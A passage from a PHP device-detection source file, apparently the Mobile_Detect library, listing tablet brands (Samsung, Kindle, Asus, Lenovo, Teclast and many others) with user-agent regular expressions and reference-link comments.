        'SamsungTablet' => 'SAMSUNG.*Tablet|Galaxy.*Tab|SC-01C|GT-P1000|GT-P1003|GT-P1010|GT-P3105|GT-P6210|GT-P6800|GT-P6810|GT-P7100|GT-P7300|GT-P7310|GT-P7500|GT-P7510|SCH-I800|SCH-I815|SCH-I905|SGH-I957|SGH-I987|SGH-T849|SGH-T859|SGH-T869|SPH-P100|GT-P3100|GT-P3108|GT-P3110|GT-P5100|GT-P5110|GT-P6200|GT-P7320|GT-P7511|GT-N8000|GT-P8510|SGH-I497|SPH-P500|SGH-T779|SCH-I705|SCH-I915|GT-N8013|GT-P3113|GT-P5113|GT-P8110|GT-N8010|GT-N8005|GT-N8020|GT-P1013|GT-P6201|GT-P7501|GT-N5100|GT-N5105|GT-N5110|SHV-E140K|SHV-E140L|SHV-E140S|SHV-E150S|SHV-E230K|SHV-E230L|SHV-E230S|SHW-M180K|SHW-M180L|SHW-M180S|SHW-M180W|SHW-M300W|SHW-M305W|SHW-M380K|SHW-M380S|SHW-M380W|SHW-M430W|SHW-M480K|SHW-M480S|SHW-M480W|SHW-M485W|SHW-M486W|SHW-M500W|GT-I9228|SCH-P739|SCH-I925|GT-I9200|GT-P5200|GT-P5210|GT-P5210X|SM-T311|SM-T310|SM-T310X|SM-T210|SM-T210R|SM-T211|SM-P600|SM-P601|SM-P605|SM-P900|SM-P901|SM-T217|SM-T217A|SM-T217S|SM-P6000|SM-T3100|SGH-I467|XE500|SM-T110|GT-P5220|GT-I9200X|GT-N5110X|GT-N5120|SM-P905|SM-T111|SM-T2105|SM-T315|SM-T320|SM-T320X|SM-T321|SM-T520|SM-T525|SM-T530NU|SM-T230NU|SM-T330NU|SM-T900|XE500T1C|SM-P605V|SM-P905V|SM-T337V|SM-T537V|SM-T707V|SM-T807V|SM-P600X|SM-P900X|SM-T210X|SM-T230|SM-T230X|SM-T325|GT-P7503|SM-T531|SM-T330|SM-T530|SM-T705|SM-T705C|SM-T535|SM-T331|SM-T800|SM-T700|SM-T537|SM-T807|SM-P907A|SM-T337A|SM-T537A|SM-T707A|SM-T807A|SM-T237|SM-T807P|SM-P607T|SM-T217T|SM-T337T|SM-T807T|SM-T116NQ|SM-P550|SM-T350|SM-T550|SM-T9000|SM-P9000|SM-T705Y|SM-T805|GT-P3113|SM-T710|SM-T810|SM-T815|SM-T360|SM-T533|SM-T113|SM-T335|SM-T715|SM-T560|SM-T670|SM-T677|SM-T377|SM-T567|SM-T357T|SM-T555|SM-T561|SM-T713|SM-T719|SM-T813|SM-T819|SM-T580|SM-T355Y|SM-T280', // SCH-P709|SCH-P729|SM-T2558|GT-I9205 - Samsung Mega - treat them like a regular phone.
        // http://docs.aws.amazon.com/silk/latest/developerguide/user-agent.html
        'Kindle' => 'Kindle|Silk.*Accelerated|Android.*\b(KFOT|KFTT|KFJWI|KFJWA|KFOTE|KFSOWI|KFTHWI|KFTHWA|KFAPWI|KFAPWA|WFJWAE|KFSAWA|KFSAWI|KFASWI|KFARWI)\b',
        // Only the Surface tablets with Windows RT are considered mobile.
        // http://msdn.microsoft.com/en-us/library/ie/hh920767(v=vs.85).aspx
        'SurfaceTablet' => 'Windows NT [0-9.]+; ARM;.*(Tablet|ARMBJS)',
        // http://shopping1.hp.com/is-bin/INTERSHOP.enfinity/WFS/WW-USSMBPublicStore-Site/en_US/-/USD/ViewStandardCatalog-Browse?CatalogCategoryID=JfIQ7EN5lqMAAAEyDcJUDwMT
        'HPTablet' => 'HP Slate (7|8|10)|HP ElitePad 900|hp-tablet|EliteBook.*Touch|HP 8|Slate 21|HP SlateBook 10',
        // Watch out for PadFone, see #132.
        // http://www.asus.com/de/Tablets_Mobile/Memo_Pad_Products/
        'AsusTablet' => '^.*PadFone((?!Mobile).)*$|Transformer|TF101|TF101G|TF300T|TF300TG|TF300TL|TF700T|TF700KL|TF701T|TF810C|ME171|ME301T|ME302C|ME371MG|ME370T|ME372MG|ME172V|ME173X|ME400C|Slider SL101|\bK00F\b|\bK00C\b|\bK00E\b|\bK00L\b|TX201LA|ME176C|ME102A|\bM80TA\b|ME372CL|ME560CG|ME372CG|ME302KL| K010 | K011 | K017 | K01E |ME572C|ME103K|ME170C|ME171C|\bME70C\b|ME581C|ME581CL|ME8510C|ME181C|P01Y|PO1MA|P01Z',
        'BlackBerryTablet' => 'PlayBook|RIM Tablet',
        'HTCtablet' => 'HTC_Flyer_P512|HTC Flyer|HTC Jetstream|HTC-P715a|HTC EVO View 4G|PG41200|PG09410',
        'MotorolaTablet' => 'xoom|sholest|MZ615|MZ605|MZ505|MZ601|MZ602|MZ603|MZ604|MZ606|MZ607|MZ608|MZ609|MZ615|MZ616|MZ617',
        'NookTablet' => 'Android.*Nook|NookColor|nook browser|BNRV200|BNRV200A|BNTV250|BNTV250A|BNTV400|BNTV600|LogicPD Zoom2',
        // http://www.acer.ro/ac/ro/RO/content/drivers
        // http://www.packardbell.co.uk/pb/en/GB/content/download (Packard Bell is part of Acer)
        // http://us.acer.com/ac/en/US/content/group/tablets
        // http://www.acer.de/ac/de/DE/content/models/tablets/
        // Can conflict with Micromax and Motorola phones codes.
        'AcerTablet' => 'Android.*; \b(A100|A101|A110|A200|A210|A211|A500|A501|A510|A511|A700|A701|W500|W500P|W501|W501P|W510|W511|W700|G100|G100W|B1-A71|B1-710|B1-711|A1-810|A1-811|A1-830)\b|W3-810|\bA3-A10\b|\bA3-A11\b|\bA3-A20\b|\bA3-A30',
        // http://eu.computers.toshiba-europe.com/innovation/family/Tablets/1098744/banner_id/tablet_footerlink/
        // http://us.toshiba.com/tablets/tablet-finder
        // http://www.toshiba.co.jp/regza/tablet/
        'ToshibaTablet' => 'Android.*(AT100|AT105|AT200|AT205|AT270|AT275|AT300|AT305|AT1S5|AT500|AT570|AT700|AT830)|TOSHIBA.*FOLIO',
        // http://www.nttdocomo.co.jp/english/service/developer/smart_phone/technical_info/spec/index.html
        // http://www.lg.com/us/tablets
        'LGTablet' => '\bL-06C|LG-V909|LG-V900|LG-V700|LG-V510|LG-V500|LG-V410|LG-V400|LG-VK810\b',
        'FujitsuTablet' => 'Android.*\b(F-01D|F-02F|F-05E|F-10D|M532|Q572)\b',
        // Prestigio Tablets http://www.prestigio.com/support
        'PrestigioTablet' => 'PMP3170B|PMP3270B|PMP3470B|PMP7170B|PMP3370B|PMP3570C|PMP5870C|PMP3670B|PMP5570C|PMP5770D|PMP3970B|PMP3870C|PMP5580C|PMP5880D|PMP5780D|PMP5588C|PMP7280C|PMP7280C3G|PMP7280|PMP7880D|PMP5597D|PMP5597|PMP7100D|PER3464|PER3274|PER3574|PER3884|PER5274|PER5474|PMP5097CPRO|PMP5097|PMP7380D|PMP5297C|PMP5297C_QUAD|PMP812E|PMP812E3G|PMP812F|PMP810E|PMP880TD|PMT3017|PMT3037|PMT3047|PMT3057|PMT7008|PMT5887|PMT5001|PMT5002',
        // http://support.lenovo.com/en_GB/downloads/default.page?#
        'LenovoTablet' => 'Lenovo TAB|Idea(Tab|Pad)( A1|A10| K1|)|ThinkPad([ ]+)?Tablet|YT3-X90L|YT3-X90F|YT3-X90X|Lenovo.*(S2109|S2110|S5000|S6000|K3011|A3000|A3500|A1000|A2107|A2109|A1107|A5500|A7600|B6000|B8000|B8080)(-|)(FL|F|HV|H|)',
        // http://www.dell.com/support/home/us/en/04/Products/tab_mob/tablets
        'DellTablet' => 'Venue 11|Venue 8|Venue 7|Dell Streak 10|Dell Streak 7',
        // http://www.yarvik.com/en/matrix/tablets/
        'YarvikTablet' => 'Android.*\b(TAB210|TAB211|TAB224|TAB250|TAB260|TAB264|TAB310|TAB360|TAB364|TAB410|TAB411|TAB420|TAB424|TAB450|TAB460|TAB461|TAB464|TAB465|TAB467|TAB468|TAB07-100|TAB07-101|TAB07-150|TAB07-151|TAB07-152|TAB07-200|TAB07-201-3G|TAB07-210|TAB07-211|TAB07-212|TAB07-214|TAB07-220|TAB07-400|TAB07-485|TAB08-150|TAB08-200|TAB08-201-3G|TAB08-201-30|TAB09-100|TAB09-211|TAB09-410|TAB10-150|TAB10-201|TAB10-211|TAB10-400|TAB10-410|TAB13-201|TAB274EUK|TAB275EUK|TAB374EUK|TAB462EUK|TAB474EUK|TAB9-200)\b',
        'MedionTablet' => 'Android.*\bOYO\b|LIFE.*(P9212|P9514|P9516|S9512)|LIFETAB',
        'ArnovaTablet' => '97G4|AN10G2|AN7bG3|AN7fG3|AN8G3|AN8cG3|AN7G3|AN9G3|AN7dG3|AN7dG3ST|AN7dG3ChildPad|AN10bG3|AN10bG3DT|AN9G2',
        // http://www.intenso.de/kategorie_en.php?kategorie=33
        // @todo: http://www.nbhkdz.com/read/b8e64202f92a2df129126bff.html - investigate
        'IntensoTablet' => 'INM8002KP|INM1010FP|INM805ND|Intenso Tab|TAB1004',
        // IRU.ru Tablets http://www.iru.ru/catalog/soho/planetable/
        'IRUTablet' => 'M702pro',
        'MegafonTablet' => 'MegaFon V9|\bZTE V9\b|Android.*\bMT7A\b',
        // http://www.e-boda.ro/tablete-pc.html
        'EbodaTablet' => 'E-Boda (Supreme|Impresspeed|Izzycomm|Essential)',
        // http://www.allview.ro/produse/droseries/lista-tablete-pc/
        'AllViewTablet' => 'Allview.*(Viva|Alldro|City|Speed|All TV|Frenzy|Quasar|Shine|TX1|AX1|AX2)',
        // http://wiki.archosfans.com/index.php?title=Main_Page
        'ArchosTablet' => '\b(101G9|80G9|A101IT)\b|Qilive 97R|Archos5|\bARCHOS (70|79|80|90|97|101|FAMILYPAD|)(b|)(G10| Cobalt| TITANIUM(HD|)| Xenon| Neon|XSK| 2| XS 2| PLATINUM| CARBON|GAMEPAD)\b',
        // http://www.ainol.com/plugin.php?identifier=ainol&module=product
        'AinolTablet' => 'NOVO7|NOVO8|NOVO10|Novo7Aurora|Novo7Basic|NOVO7PALADIN|novo9-Spark',
        'NokiaLumiaTablet' => 'Lumia 2520',
        // @todo: inspect http://esupport.sony.com/US/p/select-system.pl?DIRECTOR=DRIVER
        // Readers http://www.atsuhiro-me.net/ebook/sony-reader/sony-reader-web-browser
        // http://www.sony.jp/support/tablet/
        'SonyTablet' => 'Sony.*Tablet|Xperia Tablet|Sony Tablet S|SO-03E|SGPT12|SGPT13|SGPT114|SGPT121|SGPT122|SGPT123|SGPT111|SGPT112|SGPT113|SGPT131|SGPT132|SGPT133|SGPT211|SGPT212|SGPT213|SGP311|SGP312|SGP321|EBRD1101|EBRD1102|EBRD1201|SGP351|SGP341|SGP511|SGP512|SGP521|SGP541|SGP551|SGP621|SGP612|SOT31',
        // http://www.support.philips.com/support/catalog/worldproducts.jsp?userLanguage=en&userCountry=cn&categoryid=3G_LTE_TABLET_SU_CN_CARE&title=3G%20tablets%20/%20LTE%20range&_dyncharset=UTF-8
        'PhilipsTablet' => '\b(PI2010|PI3000|PI3100|PI3105|PI3110|PI3205|PI3210|PI3900|PI4010|PI7000|PI7100)\b',
        // db + http://www.cube-tablet.com/buy-products.html
        'CubeTablet' => 'Android.*(K8GT|U9GT|U10GT|U16GT|U17GT|U18GT|U19GT|U20GT|U23GT|U30GT)|CUBE U8GT',
        // http://www.cobyusa.com/?p=pcat&pcat_id=3001
        'CobyTablet' => 'MID1042|MID1045|MID1125|MID1126|MID7012|MID7014|MID7015|MID7034|MID7035|MID7036|MID7042|MID7048|MID7127|MID8042|MID8048|MID8127|MID9042|MID9740|MID9742|MID7022|MID7010',
        // http://www.match.net.cn/products.asp
        'MIDTablet' => 'M9701|M9000|M9100|M806|M1052|M806|T703|MID701|MID713|MID710|MID727|MID760|MID830|MID728|MID933|MID125|MID810|MID732|MID120|MID930|MID800|MID731|MID900|MID100|MID820|MID735|MID980|MID130|MID833|MID737|MID960|MID135|MID860|MID736|MID140|MID930|MID835|MID733|MID4X10',
        // http://www.msi.com/support
        // @todo Research the Windows Tablets.
        'MSITablet' => 'MSI \b(Primo 73K|Primo 73L|Primo 81L|Primo 77|Primo 93|Primo 75|Primo 76|Primo 73|Primo 81|Primo 91|Primo 90|Enjoy 71|Enjoy 7|Enjoy 10)\b',
        // @todo http://www.kyoceramobile.com/support/drivers/
        //    'KyoceraTablet' => null,
        // @todo http://intexuae.com/index.php/category/mobile-devices/tablets-products/
        //    'IntextTablet' => null,
        // http://pdadb.net/index.php?m=pdalist&list=SMiT (NoName Chinese Tablets)
        // http://www.imp3.net/14/show.php?itemid=20454
        'SMiTTablet' => 'Android.*(\bMID\b|MID-560|MTV-T1200|MTV-PND531|MTV-P1101|MTV-PND530)',
        // http://www.rock-chips.com/index.php?do=prod&pid=2
        'RockChipTablet' => 'Android.*(RK2818|RK2808A|RK2918|RK3066)|RK2738|RK2808A',
        // http://www.fly-phone.com/devices/tablets/ ; http://www.fly-phone.com/service/
        'FlyTablet' => 'IQ310|Fly Vision',
        // http://www.bqreaders.com/gb/tablets-prices-sale.html
        'bqTablet' => 'Android.*(bq)?.*(Elcano|Curie|Edison|Maxwell|Kepler|Pascal|Tesla|Hypatia|Platon|Newton|Livingstone|Cervantes|Avant|Aquaris [E|M]10)|Maxwell.*Lite|Maxwell.*Plus',
        // http://www.huaweidevice.com/worldwide/productFamily.do?method=index&directoryId=5011&treeId=3290
        // http://www.huaweidevice.com/worldwide/downloadCenter.do?method=index&directoryId=3372&treeId=0&tb=1&type=software (including legacy tablets)
        'HuaweiTablet' => 'MediaPad|MediaPad 7 Youth|IDEOS S7|S7-201c|S7-202u|S7-101|S7-103|S7-104|S7-105|S7-106|S7-201|S7-Slim',
        // Nec or Medias Tab
        'NecTablet' => '\bN-06D|\bN-08D',
        // Pantech Tablets: http://www.pantechusa.com/phones/
        'PantechTablet' => 'Pantech.*P4100',
        // Broncho Tablets: http://www.broncho.cn/ (hard to find)
        'BronchoTablet' => 'Broncho.*(N701|N708|N802|a710)',
        // http://versusuk.com/support.html
        'VersusTablet' => 'TOUCHPAD.*[78910]|\bTOUCHTAB\b',
        // http://www.zync.in/index.php/our-products/tablet-phablets
        'ZyncTablet' => 'z1000|Z99 2G|z99|z930|z999|z990|z909|Z919|z900',
        // http://www.positivoinformatica.com.br/www/pessoal/tablet-ypy/
        'PositivoTablet' => 'TB07STA|TB10STA|TB07FTA|TB10FTA',
        // https://www.nabitablet.com/
        'NabiTablet' => 'Android.*\bNabi',
        'KoboTablet' => 'Kobo Touch|\bK080\b|\bVox\b Build|\bArc\b Build',
        // French Danew Tablets http://www.danew.com/produits-tablette.php
        'DanewTablet' => 'DSlide.*\b(700|701R|702|703R|704|802|970|971|972|973|974|1010|1012)\b',
        // Texet Tablets and Readers http://www.texet.ru/tablet/
        'TexetTablet' => 'NaviPad|TB-772A|TM-7045|TM-7055|TM-9750|TM-7016|TM-7024|TM-7026|TM-7041|TM-7043|TM-7047|TM-8041|TM-9741|TM-9747|TM-9748|TM-9751|TM-7022|TM-7021|TM-7020|TM-7011|TM-7010|TM-7023|TM-7025|TM-7037W|TM-7038W|TM-7027W|TM-9720|TM-9725|TM-9737W|TM-1020|TM-9738W|TM-9740|TM-9743W|TB-807A|TB-771A|TB-727A|TB-725A|TB-719A|TB-823A|TB-805A|TB-723A|TB-715A|TB-707A|TB-705A|TB-709A|TB-711A|TB-890HD|TB-880HD|TB-790HD|TB-780HD|TB-770HD|TB-721HD|TB-710HD|TB-434HD|TB-860HD|TB-840HD|TB-760HD|TB-750HD|TB-740HD|TB-730HD|TB-722HD|TB-720HD|TB-700HD|TB-500HD|TB-470HD|TB-431HD|TB-430HD|TB-506|TB-504|TB-446|TB-436|TB-416|TB-146SE|TB-126SE',
        // Avoid detecting 'PLAYSTATION 3' as mobile.
        'PlaystationTablet' => 'Playstation.*(Portable|Vita)',
        // http://www.trekstor.de/surftabs.html
        'TrekstorTablet' => 'ST10416-1|VT10416-1|ST70408-1|ST702xx-1|ST702xx-2|ST80208|ST97216|ST70104-2|VT10416-2|ST10216-2A|SurfTab',
        // http://www.pyleaudio.com/Products.aspx?%2fproducts%2fPersonal-Electronics%2fTablets
        'PyleAudioTablet' => '\b(PTBL10CEU|PTBL10C|PTBL72BC|PTBL72BCEU|PTBL7CEU|PTBL7C|PTBL92BC|PTBL92BCEU|PTBL9CEU|PTBL9CUK|PTBL9C)\b',
        // http://www.advandigital.com/index.php?link=content-product&jns=JP001
        // because of the short codenames we have to include whitespaces to reduce the possible conflicts.
        'AdvanTablet' => 'Android.* \b(E3A|T3X|T5C|T5B|T3E|T3C|T3B|T1J|T1F|T2A|T1H|T1i|E1C|T1-E|T5-A|T4|E1-B|T2Ci|T1-B|T1-D|O1-A|E1-A|T1-A|T3A|T4i)\b ',
        // http://www.danytech.com/category/tablet-pc
        'DanyTechTablet' => 'Genius Tab G3|Genius Tab S2|Genius Tab Q3|Genius Tab G4|Genius Tab Q4|Genius Tab G-II|Genius TAB GII|Genius TAB GIII|Genius Tab S1',
        // http://www.galapad.net/product.html
        'GalapadTablet' => 'Android.*\bG1\b',
        // http://www.micromaxinfo.com/tablet/funbook
        'MicromaxTablet' => 'Funbook|Micromax.*\b(P250|P560|P360|P362|P600|P300|P350|P500|P275)\b',
        // http://www.karbonnmobiles.com/products_tablet.php
        'KarbonnTablet' => 'Android.*\b(A39|A37|A34|ST8|ST10|ST7|Smart Tab3|Smart Tab2)\b',
        // http://www.myallfine.com/Products.asp
        'AllFineTablet' => 'Fine7 Genius|Fine7 Shine|Fine7 Air|Fine8 Style|Fine9 More|Fine10 Joy|Fine11 Wide',
        // http://www.proscanvideo.com/products-search.asp?itemClass=TABLET&itemnmbr=
        'PROSCANTablet' => '\b(PEM63|PLT1023G|PLT1041|PLT1044|PLT1044G|PLT1091|PLT4311|PLT4311PL|PLT4315|PLT7030|PLT7033|PLT7033D|PLT7035|PLT7035D|PLT7044K|PLT7045K|PLT7045KB|PLT7071KG|PLT7072|PLT7223G|PLT7225G|PLT7777G|PLT7810K|PLT7849G|PLT7851G|PLT7852G|PLT8015|PLT8031|PLT8034|PLT8036|PLT8080K|PLT8082|PLT8088|PLT8223G|PLT8234G|PLT8235G|PLT8816K|PLT9011|PLT9045K|PLT9233G|PLT9735|PLT9760G|PLT9770G)\b',
        // http://www.yonesnav.com/products/products.php
        'YONESTablet' => 'BQ1078|BC1003|BC1077|RK9702|BC9730|BC9001|IT9001|BC7008|BC7010|BC708|BC728|BC7012|BC7030|BC7027|BC7026',
        // http://www.cjshowroom.com/eproducts.aspx?classcode=004001001
        // China manufacturer makes tablets for different small brands (eg. http://www.zeepad.net/index.html)
        'ChangJiaTablet' => 'TPC7102|TPC7103|TPC7105|TPC7106|TPC7107|TPC7201|TPC7203|TPC7205|TPC7210|TPC7708|TPC7709|TPC7712|TPC7110|TPC8101|TPC8103|TPC8105|TPC8106|TPC8203|TPC8205|TPC8503|TPC9106|TPC9701|TPC97101|TPC97103|TPC97105|TPC97106|TPC97111|TPC97113|TPC97203|TPC97603|TPC97809|TPC97205|TPC10101|TPC10103|TPC10106|TPC10111|TPC10203|TPC10205|TPC10503',
        // http://www.gloryunion.cn/products.asp
        // http://www.allwinnertech.com/en/apply/mobile.html
        // http://www.ptcl.com.pk/pd_content.php?pd_id=284 (EVOTAB)
        // @todo: Softwiner tablets?
        // aka. Cute or Cool tablets. Not sure yet, must research to avoid collisions.
        'GUTablet' => 'TX-A1301|TX-M9002|Q702|kf026', // A12R|D75A|D77|D79|R83|A95|A106C|R15|A75|A76|D71|D72|R71|R73|R77|D82|R85|D92|A97|D92|R91|A10F|A77F|W71F|A78F|W78F|W81F|A97F|W91F|W97F|R16G|C72|C73E|K72|K73|R96G
        // http://www.pointofview-online.com/showroom.php?shop_mode=product_listing&category_id=118
        'PointOfViewTablet' => 'TAB-P506|TAB-navi-7-3G-M|TAB-P517|TAB-P-527|TAB-P701|TAB-P703|TAB-P721|TAB-P731N|TAB-P741|TAB-P825|TAB-P905|TAB-P925|TAB-PR945|TAB-PL1015|TAB-P1025|TAB-PI1045|TAB-P1325|TAB-PROTAB[0-9]+|TAB-PROTAB25|TAB-PROTAB26|TAB-PROTAB27|TAB-PROTAB26XL|TAB-PROTAB2-IPS9|TAB-PROTAB30-IPS9|TAB-PROTAB25XXL|TAB-PROTAB26-IPS10|TAB-PROTAB30-IPS10',
        // http://www.overmax.pl/pl/katalog-produktow,p8/tablety,c14/
        // @todo: add more tests.
        'OvermaxTablet' => 'OV-(SteelCore|NewBase|Basecore|Baseone|Exellen|Quattor|EduTab|Solution|ACTION|BasicTab|TeddyTab|MagicTab|Stream|TB-08|TB-09)',
        // http://hclmetablet.com/India/index.php
        'HCLTablet' => 'HCL.*Tablet|Connect-3G-2.0|Connect-2G-2.0|ME Tablet U1|ME Tablet U2|ME Tablet G1|ME Tablet X1|ME Tablet Y2|ME Tablet Sync',
        // http://www.edigital.hu/Tablet_es_e-book_olvaso/Tablet-c18385.html
        'DPSTablet' => 'DPS Dream 9|DPS Dual 7',
        // http://www.visture.com/index.asp
        'VistureTablet' => 'V97 HD|i75 3G|Visture V4( HD)?|Visture V5( HD)?|Visture V10',
        // http://www.mijncresta.nl/tablet
        'CrestaTablet' => 'CTP(-)?810|CTP(-)?818|CTP(-)?828|CTP(-)?838|CTP(-)?888|CTP(-)?978|CTP(-)?980|CTP(-)?987|CTP(-)?988|CTP(-)?989',
        // MediaTek - http://www.mediatek.com/_en/01_products/02_proSys.php?cata_sn=1&cata1_sn=1&cata2_sn=309
        'MediatekTablet' => '\bMT8125|MT8389|MT8135|MT8377\b',
        // Concorde tab
        'ConcordeTablet' => 'Concorde([ ]+)?Tab|ConCorde ReadMan',
        // GoClever Tablets - http://www.goclever.com/uk/products,c1/tablet,c5/
        'GoCleverTablet' => 'GOCLEVER TAB|A7GOCLEVER|M1042|M7841|M742|R1042BK|R1041|TAB A975|TAB A7842|TAB A741|TAB A741L|TAB M723G|TAB M721|TAB A1021|TAB I921|TAB R721|TAB I720|TAB T76|TAB R70|TAB R76.2|TAB R106|TAB R83.2|TAB M813G|TAB I721|GCTA722|TAB I70|TAB I71|TAB S73|TAB R73|TAB R74|TAB R93|TAB R75|TAB R76.1|TAB A73|TAB A93|TAB A93.2|TAB T72|TAB R83|TAB R974|TAB R973|TAB A101|TAB A103|TAB A104|TAB A104.2|R105BK|M713G|A972BK|TAB A971|TAB R974.2|TAB R104|TAB R83.3|TAB A1042',
        // Modecom Tablets - http://www.modecom.eu/tablets/portal/
        'ModecomTablet' => 'FreeTAB 9000|FreeTAB 7.4|FreeTAB 7004|FreeTAB 7800|FreeTAB 2096|FreeTAB 7.5|FreeTAB 1014|FreeTAB 1001 |FreeTAB 8001|FreeTAB 9706|FreeTAB 9702|FreeTAB 7003|FreeTAB 7002|FreeTAB 1002|FreeTAB 7801|FreeTAB 1331|FreeTAB 1004|FreeTAB 8002|FreeTAB 8014|FreeTAB 9704|FreeTAB 1003',
        // Vonino Tablets - http://www.vonino.eu/tablets
        'VoninoTablet' => '\b(Argus[ _]?S|Diamond[ _]?79HD|Emerald[ _]?78E|Luna[ _]?70C|Onyx[ _]?S|Onyx[ _]?Z|Orin[ _]?HD|Orin[ _]?S|Otis[ _]?S|SpeedStar[ _]?S|Magnet[ _]?M9|Primus[ _]?94[ _]?3G|Primus[ _]?94HD|Primus[ _]?QS|Android.*\bQ8\b|Sirius[ _]?EVO[ _]?QS|Sirius[ _]?QS|Spirit[ _]?S)\b',
        // ECS Tablets - http://www.ecs.com.tw/ECSWebSite/Product/Product_Tablet_List.aspx?CategoryID=14&MenuID=107&childid=M_107&LanID=0
        'ECSTablet' => 'V07OT2|TM105A|S10OT1|TR10CS1',
        // Storex Tablets - http://storex.fr/espace_client/support.html
        // @note: no need to add all the tablet codes since they are guided by the first regex.
        'StorexTablet' => 'eZee[_\']?(Tab|Go)[0-9]+|TabLC7|Looney Tunes Tab',
        // Generic Vodafone tablets.
        'VodafoneTablet' => 'SmartTab([ ]+)?[0-9]+|SmartTabII10|SmartTabII7|VF-1497',
        // French tablets - Essentiel B http://www.boulanger.fr/tablette_tactile_e-book/tablette_tactile_essentiel_b/cl_68908.htm?multiChoiceToDelete=brand&mc_brand=essentielb
        // Aka: http://www.essentielb.fr/
        'EssentielBTablet' => 'Smart[ \']?TAB[ ]+?[0-9]+|Family[ \']?TAB2',
        // Ross & Moor - http://ross-moor.ru/
        'RossMoorTablet' => 'RM-790|RM-997|RMD-878G|RMD-974R|RMT-705A|RMT-701|RME-601|RMT-501|RMT-711',
        // i-mobile http://product.i-mobilephone.com/Mobile_Device
        'iMobileTablet' => 'i-mobile i-note',
        // http://www.tolino.de/de/vergleichen/
        'TolinoTablet' => 'tolino tab [0-9.]+|tolino shine',
        // AudioSonic - a Kmart brand
        // http://www.kmart.com.au/webapp/wcs/stores/servlet/Search?langId=-1&storeId=10701&catalogId=10001&categoryId=193001&pageSize=72&currentPage=1&searchCategory=193001%2b4294965664&sortBy=p_MaxPrice%7c1
        'AudioSonicTablet' => '\bC-22Q|T7-QC|T-17B|T-17P\b',
        // AMPE Tablets - http://www.ampe.com.my/product-category/tablets/
        // @todo: add them gradually to avoid conflicts.
        'AMPETablet' => 'Android.* A78 ',
        // Skk Mobile - http://skkmobile.com.ph/product_tablets.php
        'SkkTablet' => 'Android.* (SKYPAD|PHOENIX|CYCLOPS)',
        // Tecno Mobile (only tablet) - http://www.tecno-mobile.com/index.php/product?filterby=smart&list_order=all&page=1
        'TecnoTablet' => 'TECNO P9',
        // JXD (consoles & tablets) - http://jxd.hk/products.asp?selectclassid=009008&clsid=3
        'JXDTablet' => 'Android.* \b(F3000|A3300|JXD5000|JXD3000|JXD2000|JXD300B|JXD300|S5800|S7800|S602b|S5110b|S7300|S5300|S602|S603|S5100|S5110|S601|S7100a|P3000F|P3000s|P101|P200s|P1000m|P200m|P9100|P1000s|S6600b|S908|P1000|P300|S18|S6600|S9100)\b',
        // i-Joy tablets - http://www.i-joy.es/en/cat/products/tablets/
        'iJoyTablet' => 'Tablet (Spirit 7|Essentia|Galatea|Fusion|Onix 7|Landa|Titan|Scooby|Deox|Stella|Themis|Argon|Unique 7|Sygnus|Hexen|Finity 7|Cream|Cream X2|Jade|Neon 7|Neron 7|Kandy|Scape|Saphyr 7|Rebel|Biox|Rebel|Rebel 8GB|Myst|Draco 7|Myst|Tab7-004|Myst|Tadeo Jones|Tablet Boing|Arrow|Draco Dual Cam|Aurix|Mint|Amity|Revolution|Finity 9|Neon 9|T9w|Amity 4GB Dual Cam|Stone 4GB|Stone 8GB|Andromeda|Silken|X2|Andromeda II|Halley|Flame|Saphyr 9,7|Touch 8|Planet|Triton|Unique 10|Hexen 10|Memphis 4GB|Memphis 8GB|Onix 10)',
        // http://www.intracon.eu/tablet
        'FX2Tablet' => 'FX2 PAD7|FX2 PAD10',
        // http://www.xoro.de/produkte/
        // @note: Might be the same brand with 'Simply tablets'
        'XoroTablet' => 'KidsPAD 701|PAD[ ]?712|PAD[ ]?714|PAD[ ]?716|PAD[ ]?717|PAD[ ]?718|PAD[ ]?720|PAD[ ]?721|PAD[ ]?722|PAD[ ]?790|PAD[ ]?792|PAD[ ]?900|PAD[ ]?9715D|PAD[ ]?9716DR|PAD[ ]?9718DR|PAD[ ]?9719QR|PAD[ ]?9720QR|TelePAD1030|Telepad1032|TelePAD730|TelePAD731|TelePAD732|TelePAD735Q|TelePAD830|TelePAD9730|TelePAD795|MegaPAD 1331|MegaPAD 1851|MegaPAD 2151',
        // http://www1.viewsonic.com/products/computing/tablets/
        'ViewsonicTablet' => 'ViewPad 10pi|ViewPad 10e|ViewPad 10s|ViewPad E72|ViewPad7|ViewPad E100|ViewPad 7e|ViewSonic VB733|VB100a',
        // http://www.odys.de/web/internet-tablet_en.html
        'OdysTablet' => 'LOOX|XENO10|ODYS[ -](Space|EVO|Xpress|NOON)|\bXELIO\b|Xelio10Pro|XELIO7PHONETAB|XELIO10EXTREME|XELIOPT2|NEO_QUAD10',
        // http://www.captiva-power.de/products.html#tablets-en
        'CaptivaTablet' => 'CAPTIVA PAD',
        // IconBIT - http://www.iconbit.com/products/tablets/
        'IconbitTablet' => 'NetTAB|NT-3702|NT-3702S|NT-3702S|NT-3603P|NT-3603P|NT-0704S|NT-0704S|NT-3805C|NT-3805C|NT-0806C|NT-0806C|NT-0909T|NT-0909T|NT-0907S|NT-0907S|NT-0902S|NT-0902S',
        // http://www.teclast.com/topic.php?channelID=70&topicID=140&pid=63
        'TeclastTablet' => 'T98 4G|\bP80\b|\bX90HD\b|X98 Air|X98 Air 3G|\bX89\b|P80 3G|\bX80h\b|P98 Air|\bX89HD\b|P98 3G|\bP90HD\b|P89 3G|X98 3G|\bP70h\b|P79HD 3G|G18d 3G|\bP79HD\b|\bP89s\b|\bA88\b|\bP10HD\b|\bP19HD\b|G18 3G|\bP78HD\b|\bA78\b|\bP75\b|G17s 3G|G17h 3G|\bP85t\b|\bP90\b|\bP11\b|\bP98t\b|\bP98HD\b|\bG18d\b|\bP85s\b|\bP11HD\b|\bP88s\b|\bA80HD\b|\bA80se\b|\bA10h\b|\bP89\b|\bP78s\b|\bG18\b|\bP85\b|\bA70h\b|\bA70\b|\bG17\b|\bP18\b|\bA80s\b|\bA11s\b|\bP88HD\b|\bA80h\b|\bP76s\b|\bP76h\b|\bP98\b|\bA10HD\b|\bP78\b|\bP88\b|\bA11\b|\bA10t\b|\bP76a\b|\bP76t\b|\bP76e\b|\bP85HD\b|\bP85a\b|\bP86\b|\bP75HD\b|\bP76v\b|\bA12\b|\bP75a\b|\bA15\b|\bP76Ti\b|\bP81HD\b|\bA10\b|\bT760VE\b|\bT720HD\b|\bP76\b|\bP73\b|\bP71\b|\bP72\b|\bT720SE\b|\bC520Ti\b|\bT760\b|\bT720VE\b|T720-3GE|T720-WiFi',
